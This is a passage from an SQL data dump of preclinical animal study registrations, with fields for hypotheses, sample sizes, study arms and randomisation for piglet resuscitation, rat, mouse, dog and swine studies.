	(5956,137,'primary_readout_parameter','\"Efficacy: Primary outcome measure is cardiopulmonary resuscitation (CPR) time to achieve return of spontaneous circulation (ROSC).\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5957,137,'secondary_readout_parameter','\"Secondary endpoints are hemodynamic parameters, blood gas variables, oxidative stress markers, and inflammatory markers.\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5958,137,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5959,137,'species','\"pig\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5960,137,'sex','\"both\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5961,137,'experimental_design','\"Newborn piglet model of hypoxia asphyxia-induced asystole\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5962,137,'sample_size_calculation','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5963,137,'sample_size_calculation_details','\"Our primary outcome measure was CPR time to achieve ROSC. Our previous studies showed a mean \\u00b1 standard deviation time to ROSC of 205 \\u00b1113sec during CPR using a 3:1 Compression:Ventilation ratio with 100% oxygen. We hypothesized that the use of 18% oxygen during CPR compared with 100% oxygen, would reduce time to achieve ROSC. A sample size of 24 piglets (8 per group) was sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e. 140sec vs. 180sec), with 80% power and a 2-tailed alpha error of 0.05.\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5964,137,'sum_of_animals','\"30 piglets\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5965,137,'study_arms','[{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"18% oxygen using 3:1 C:V\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"21% oxygen using 3:1 C:V\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"100% oxygen using 3:1 C:V\"}]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5966,137,'randomisation','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5967,137,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5968,137,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5969,137,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5970,137,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5971,137,'placebo_controlled','\"no\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5972,137,'has_embargo','\"no\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5973,138,'title','\"Various Oxygen Concentrations during Cardiopulmonary Resuscitation of Asphyxiated Newborn Piglets with Chest Compression during Sustained Inflation (CC+SI)\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5974,138,'short_title','\"Various Oxygen Concentrations using Sustained Inflation during Cardiopulmonary Resuscitation of Asphyxiated Newborn Piglets\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5975,138,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5976,138,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5977,138,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5978,138,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5979,138,'financial_support','[\"grants\"]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5980,138,'start_date','\"2018-01-01\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5981,138,'end_date','\"2018-11-30\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5982,138,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5983,138,'hypothesis','\"We hypothesized that using 18% and 21% oxygen during chest compressions with sustained inflation (CC+SI) would result in similar times to return of spontaneous circulation as 100% oxygen. \"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5984,138,'research_field','\"Pediatrics, Neonatology\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5985,138,'intervention_type','\"compound\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5986,138,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5987,138,'primary_readout_parameter','\"Efficacy: Primary outcome measure is cardiopulmonary resuscitation (CPR) time to achieve return of spontaneous circulation (ROSC).\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5988,138,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5989,138,'species','\"pig\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5990,138,'sex','\"both\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5991,138,'sample_size_calculation','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5992,138,'sample_size_calculation_details','\"Our previous studies showed a mean \\u00b1 standard deviation ROSC of 120\\u00b125sec during CPR using CC+SI with 100% oxygen. We hypothesized that 18% and 21% oxygen during CPR with CC+SI would reduce time to achieve ROSC. A sample size of 24 piglets (8 per group) would be was sufficient to detect a clinically important (30%) reduction in time to achieve ROSC (i.e. 84sec vs. 120sec), to achieve similar times to ROSC, with 80% power and a 2-tailed alpha error of 0.05.\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5993,138,'secondary_readout_parameter','\"Secondary endpoints are hemodynamic parameters, respiratory parameters, oxygen exposure, and injury markers.\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5994,138,'experimental_design','\"Newborn piglet model of hypoxia asphyxia-induced asystole\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5995,138,'sum_of_animals','\"30 piglets\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5996,138,'study_arms','[{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"18% oxygen using CC+SI\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"21% oxygen using CC+SI\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"100% oxygen using CC+SI\"}]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5997,138,'randomisation','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5998,138,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5999,138,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6000,138,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6001,138,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6002,138,'placebo_controlled','\"no\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6003,138,'has_embargo','\"no\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6004,139,'title','\"Sex Differences between Female and Male Newborn Piglets during Asphyxia, Resuscitation, and Recovery\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6005,139,'short_title','\"Sex Differences between Female and Male Newborn Piglets during Asphyxia, Resuscitation, and Recovery\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6006,139,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6007,139,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6008,139,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6009,139,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6010,139,'financial_support','[\"grants\"]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6011,139,'start_date','\"2018-06-28\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6012,139,'end_date','\"2018-11-30\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6013,139,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:44','2022-03-31 13:24:00'),
	(6014,139,'research_field','\"Pediatrics, Neonatology\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6015,139,'hypothesis','\"We hypothesized that female newborn piglets would have a faster return of spontaneous circulation and lower mortality compared to male newborn piglets.\"','2022-03-31 13:23:44','2022-03-31 13:24:00'),
	(6016,139,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6017,139,'primary_readout_parameter','\"Efficacy: Primary outcome measure is cardiopulmonary resuscitation (CPR) time to achieve return of spontaneous circulation (ROSC).\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6018,139,'exclusive_animal_use','\"no\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6019,139,'species','\"pig\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6020,139,'sex','\"both\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6021,139,'experimental_design','\"Newborn piglet model of hypoxia asphyxia-induced asystole\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6022,139,'sample_size_calculation','\"no\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6023,139,'study_arms','[{\"type\":\"intervention\",\"number\":\"69\",\"intervention\":\"Male\"},{\"type\":\"intervention\",\"number\":\"41\",\"intervention\":\"Female\"}]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6024,139,'randomisation','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6025,139,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6026,139,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6027,139,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6028,139,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6029,139,'placebo_controlled','\"no\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6030,139,'has_embargo','\"no\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6031,139,'secondary_readout_parameter','\"Secondary endpoints are hemodynamic parameters, cerebral perfusion, and injury markers.\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6032,139,'intervention_type','\"other\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6033,139,'other_intervention_type','\"comparison of gender\\/sex\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6034,139,'sum_of_animals','\"110 newborn piglets\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6035,140,'title','\"Experimenal analysis of effects of a novel TAAR1 agonist on schedule-induced polydipsia\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6036,140,'short_title','\"TAAR1_SIP\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6037,140,'contact_name','\"Ilya Sukhanov\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6038,140,'contact_role','\"research group supervisor\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6039,140,'contact_email','\"ilia.sukhanov@gmail.com\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6040,140,'study_centre','[{\"name\":\"Pavlov First Saint Petersburg State Medical University\",\"city\":\"Saint Petersburg\",\"country\":\"RU\"}]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6041,140,'financial_support','[\"grants\"]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6042,140,'start_date','\"2018-12-01\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6043,140,'end_date','\"2018-12-15\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6044,140,'study_status','\"active\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6045,140,'research_field','\"neuroscience\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6046,140,'intervention_type','\"compound\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6047,140,'hypothesis','\"Activation of TAAR1 decreases the polydipsia induced by schedule of fodd delivery fixed interval 60 sec without affecting operant responding of animals\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6048,140,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6049,140,'primary_readout_parameter','\"Efficacy: The recorded parameters are the volume of water consumed by each rat, the duration of the experimental session, the number of licks, the drinking duration, the number of lever presses, the latency to the first lick and the latency to the post-food delivery tray nose-poke. Additionally, the response rate (the number of lever presses divided by the duration of the session (min)) and the effectiveness of licks are going to be calculated.\\nThe efficacy is based on decreasing of consumed volume of water and non-changed lever press rate\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6050,140,'exclusive_animal_use','\"no\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6051,140,'no_exclusive_animal_use_details','\"The animals were used to check the effect of the water bottle access on lever press rate. Additionally, one dose of checked before TAAR1 agonist (RO5263397, 6 mg\\/kg i.p.) was tested before to validate the effect.\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6052,140,'species','\"rat\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6053,140,'strain','\"Wistar\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6054,140,'sex','\"male\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6055,140,'experimental_design','\"Polydipsia induced by schedule of food reinforcement fixed interval 60 seconds\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6056,140,'sum_of_animals','\"8\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6057,140,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6058,140,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6059,140,'sample_size_calculation','\"no\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6060,140,'study_arms','[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"\"}]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6061,140,'randomisation','\"no\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6062,140,'why_no_randomisation','\"dose test sequences will be based on a within-subjects Latin Square design.\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6063,140,'placebo_controlled','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6064,140,'application_number','\"# 100_ 81_012017\\/3_900\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6065,140,'has_embargo','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6066,140,'link_to_data','\"https:\\/\\/www.sciencedirect.com\\/science\\/article\\/pii\\/S0028390818308219\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6067,139,'no_exclusive_animal_use_details','\"this is secondary analysis of previously completed study to apply the ethics principal of reduce\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6068,141,'title','\"Targeting macrophages using an antibody guided drug delivery system to improve osteoarthritis\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6069,141,'short_title','\"n\\/a\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6070,141,'contact_name','\"Yvonne Bastiaansen\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6071,141,'contact_role','\"principle investigator\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6072,141,'contact_email','\"y.bastiaansen@erasmusmc.nl\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6073,141,'study_centre','[{\"name\":\"Erasmus MC\",\"city\":\"Rotterdam\",\"country\":\"NL\"}]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6074,141,'financial_support','[\"grants\"]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6075,141,'start_date','\"2019-04-01\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6076,141,'end_date','\"2019-12-31\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6077,141,'study_status','\"not_started\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6078,141,'research_field','\"orthopedics\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6079,141,'hypothesis','\"osteoarthritis\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6080,141,'intervention_type','\"other\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6081,141,'other_intervention_type','\"compound and delivery method\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6082,141,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6083,141,'primary_readout_parameter','\"Efficacy: efficacy based on pain\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6084,141,'secondary_readout_parameter','\"efficacy based on synovial inflammation including influx of macrophages, cartilage degradation, and osteophyte formation. changes in monocyte subsets in the peripheral blood\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6085,141,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6086,141,'no_exclusive_animal_use_details','\"\\n\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6087,141,'species','\"mouse\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6088,141,'strain','\"black 6\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6089,141,'sex','\"male\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6090,141,'experimental_design','\"collagenase induced osteoarthritis\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6091,141,'sample_size_calculation','\"yes\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6092,141,'sample_size_calculation_details','\"We will determine the weight distribution over the hind limbs as an indicator of pain (primary out-come parameter), similar to earlier work in which collagenase-induced osteoarthritic mice were treated with platelet-rich plasma releasate (PRPr) (S. Khatab, 2018). Based on this study , we con-sider an increase of 5% (standard deviation of 4%) in weight distribution on the affected limb in time in the therapy groups as relevant in our study. Sample size is calculated with a statistical power of 80% and significance level of 0.05. With two-sided testing;\\nZ0.05\\/2 = 1.96 and Z0.20=-0.84\\nn= 2*((1.96+0.84)*(4\\/5)) ^2=11\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6093,141,'sum_of_animals','\"132\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6094,141,'study_arms','[{\"type\":\"control\",\"number\":\"11\",\"intervention\":\"W1-PLGA+Ig control with high dose compound\"},{\"type\":\"intervention\",\"number\":\"11\",\"intervention\":\"W1-PLGA+antibody with high dose compound\"},{\"type\":\"intervention\",\"number\":\"11\",\"intervention\":\"W1-PLGA+antibody with low dose compound\\t\"},{\"type\":\"control\",\"number\":\"11\",\"intervention\":\"W1-PLGA+antibody without compound\"},{\"type\":\"control\",\"number\":\"11\",\"intervention\":\"W1-PLGA+ Ig control without compound\\t\"},{\"type\":\"control\",\"number\":\"11\",\"intervention\":\"W1-fee compound high dose\"},{\"type\":\"control\",\"number\":\"11\",\"intervention\":\"W7-PLGA+Ig control with high dose compound\"},{\"type\":\"intervention\",\"number\":\"11\",\"intervention\":\"W7-PLGA+antibody with high dose compound\"},{\"type\":\"intervention\",\"number\":\"11\",\"intervention\":\"W7-PLGA+antibody with low dose compound\"},{\"type\":\"control\",\"number\":\"11\",\"intervention\":\"W7-PLGA+antibody without compound\"},{\"type\":\"control\",\"number\":\"11\",\"intervention\":\"W7-PLGA+ Ig control without compound\"},{\"type\":\"control\",\"number\":\"11\",\"intervention\":\"W7-fee compound high dose\"}]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(6095,141,'randomisation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6096,141,'randomisation_method_used','\"coin-toss\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6097,141,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6098,141,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6099,141,'yes_blinded_intervention_how_details','\"it is not possible to blind what is injected\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6100,141,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6101,141,'placebo_controlled','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6102,141,'application_number','\"16-691-03\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6103,141,'link_to_data','\"n\\/a\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6104,141,'has_embargo','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6105,142,'title','\"Collagen Cross-Linking with Photoactivated Riboflavin (PACK-CXL) for the treatment of stromal corneal ulcers in dogs.\\n\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6106,142,'short_title','\"PACK-CXL for the treatment of stromal corneal ulcers dogs.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6107,142,'contact_name','\"Simon A Pot\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6108,142,'contact_role','\"Leading Investigator and project supervision.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6109,142,'contact_email','\"spot@vetclinics.uzh.ch\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6110,142,'study_centre','[{\"name\":\"University of Zurich\",\"city\":\"Zurich\",\"country\":\"CH\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6111,142,'financial_support','[\"other\"]','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6112,142,'other_financial_support','\"Internal funds.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6113,142,'start_date','\"2021-01-01\"','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6114,142,'end_date','\"2022-12-31\"','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6115,142,'study_status','\"active\"','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6116,142,'research_field','\"Ophthalmology\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6117,142,'hypothesis','\"We hypothesize that compared to standard treatment alone, the PACK-CXL will be more effective at stabilizing the corneal stroma in cases of corneal ulcers in dogs and therefore minimize the number of surgical interventions needed.\"','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6118,142,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6119,142,'intervention_type','\"other\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6120,142,'other_intervention_type','\"New treatment application - Controlled clinical trial\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6121,142,'primary_readout_parameter','\"It is an efficacy study with a primary endpoint: The number of treatment failures per treatment arm.\\n\\nTreatment failure: A case will be marked as treatment failure if additional interventions (rescue treatment) to the initiated treatment are needed to stabilize the cornea.\\nCriteria for the indication of the rescue treatment are persistence of any of the parameters below:\\n-\\tIncreased ulcer surface area\\n-\\tThinning of the residual stroma\\n-\\tLiquefaction or corneal necrosis if not already there at the presentation\\nRescue options:\\n-\\tcontrol arm (medical treatment): PACK-CXL, tectonic corneal surgery, enucleation of the eye\\n-\\ttreatment arm (PACK-CXL): tectonic corneal surgery, enucleation of the eye\\n\\nTime points: Ophthalmic examination will be performed on day 0, 7, 14 and 28\\n\\nStudy will ends 28 days after starting of treatment for all dogs. Animals that have not healed (continued stromal instability and\\/or presence of a fluorescein positive defect) at 28 days after start of treatment will be marked as \\u2018treatment failures due to non-healing\\u2019 at study conclusion. The reason (still unstable, still fluorescein positive) will be listed. \\n\"','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6122,142,'secondary_readout_parameter','\"Secondary endpoint: The time elapsed between starting treatment and completion of epithelialisation of the ulcer (i.e. when the cornea is fluorescein negative). Re-epithelialization is related to stromal stability and ulcer healing.\"','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6123,142,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6124,142,'species','\"dog\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6125,142,'other_species','\"Client owned dogs.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6126,142,'strain','\"Client-owned dogs with a diagnosis of a stromal corneal ulcer, with clients willing to participate in the study.\\nCorneal ulcers will be characterized by a loss of the outer epithelium along with stromal loss and stromal infiltrates neutrophilic inflammation or a large number of bacteria confirmed on cytology. (The presence of infiltrates is unequivocal if, in doubt, the patient will not enter into the trial). \\n\\u25cf\\tMaximal ulcer depth: not deeper than 50% stromal loss.\\n\\u25cf\\tMaximal ulcer diameter: not larger than 10 mm of the diameter of the affected stroma.\\nOnly dogs that are not suffering from the concurrent potentially immunosuppressive systemic disease (e,g. Diabetes mellitus, Cushings); concurrent corticosteroid treatment (systemic or topical); concurrent ocular conditions such as: keratoconjunctivitis sicca, senile calcific keratopathy, corneal dystrophy\\/bullous keratopathy, glaucoma and are grade ASA I-III (The American Society of Anesthesiologists) will be included in the study. \"','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6127,142,'sex','\"both\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6128,142,'sample_size_calculation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6129,142,'sample_size_calculation_details','\"Boundaries for the group sequential design were calculated with the O\'Brien and Fleming approach and the total sample size was set to obtain a power of 0.8 under the alternative hypothesis. When choosing three time points to analyse, interim data analyses can be performed after 90 and 180 animals have been enrolled and the study can be stopped if the calculated p-values fall below the predefined cut-off values of 0.0015 and 0.0181, respectively. If there is no evidence to reject the null hypothesis at these two time points, the study will be completed with enrolling 270 animals and data will be analysed at the end. The total sum needed in a group sequential approach is slightly higher (270 animals) than the 262 animals needed with a classical sample size estimation (binomial data). For the potential benefit of concluding the study with fewer animals without compromising validity (controlled family-wise error rate, no p-value stopping bias), we decided to choose the group sequential design. Sample size calculation and stopping rule were established with R software, version 3.5.2 and the package gsDesign. \\nApproximately 75% of patients in the control group are expected to reach the primary endpoint (based on clinical unpublished data from the University of Zurich, Zurich, Switzerland and the Animal Health Trust, Newmarket, United Kingdom). We expect that the experimental treatment will increase the number of patients expected to reach the primary endpoint to 87% (Pot SA; PACK-CXL: clinical results II. 1st International CXL Experts\\u2019 Meeting, December 2-3, 2016, Z\\u00fcrich) \"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6130,142,'sum_of_animals','\"1st stage 90, 2nd stage 180, 3rd stage 270. In total 270 animals\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6131,142,'study_arms','[{\"type\":\"control\",\"number\":\"135\",\"intervention\":\"standard medical therapy \"},{\"type\":\"intervention\",\"number\":\"135\",\"intervention\":\"PACK-CXL \"}]','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6132,142,'randomisation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6133,142,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6134,142,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6135,142,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6136,142,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6137,142,'placebo_controlled','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6138,142,'application_number','\"Project number: 55-2017, approved 7th Feb 2018 (AHT)\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6139,142,'link_to_data','\"https:\\/\\/onlinelibrary.wiley.com\\/doi\\/10.1111\\/vop.12027\\nhttps:\\/\\/onlinelibrary.wiley.com\\/doi\\/10.1111\\/vop.12480\\nhttps:\\/\\/onlinelibrary.wiley.com\\/doi\\/10.1111\\/vop.12301\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6140,142,'has_embargo','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6141,142,'experimental_design','\"non \"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6142,143,'title','\"Effect of novel MAP4k4 (HGK) inhibitor on infarct size following myocardial infarction in swine \"','2022-03-31 13:23:45','2022-03-31 13:23:47'),
	(6143,143,'contact_name','\"Maaike te Lintel Hekkert\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6144,143,'contact_role','\"Executive researcher\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6145,143,'contact_email','\"m.telintelhekkert@erasmusmc.nl\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6146,143,'study_centre','[{\"name\":\"ErasmusMC\",\"city\":\"Rotterdam\",\"country\":\"NL\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
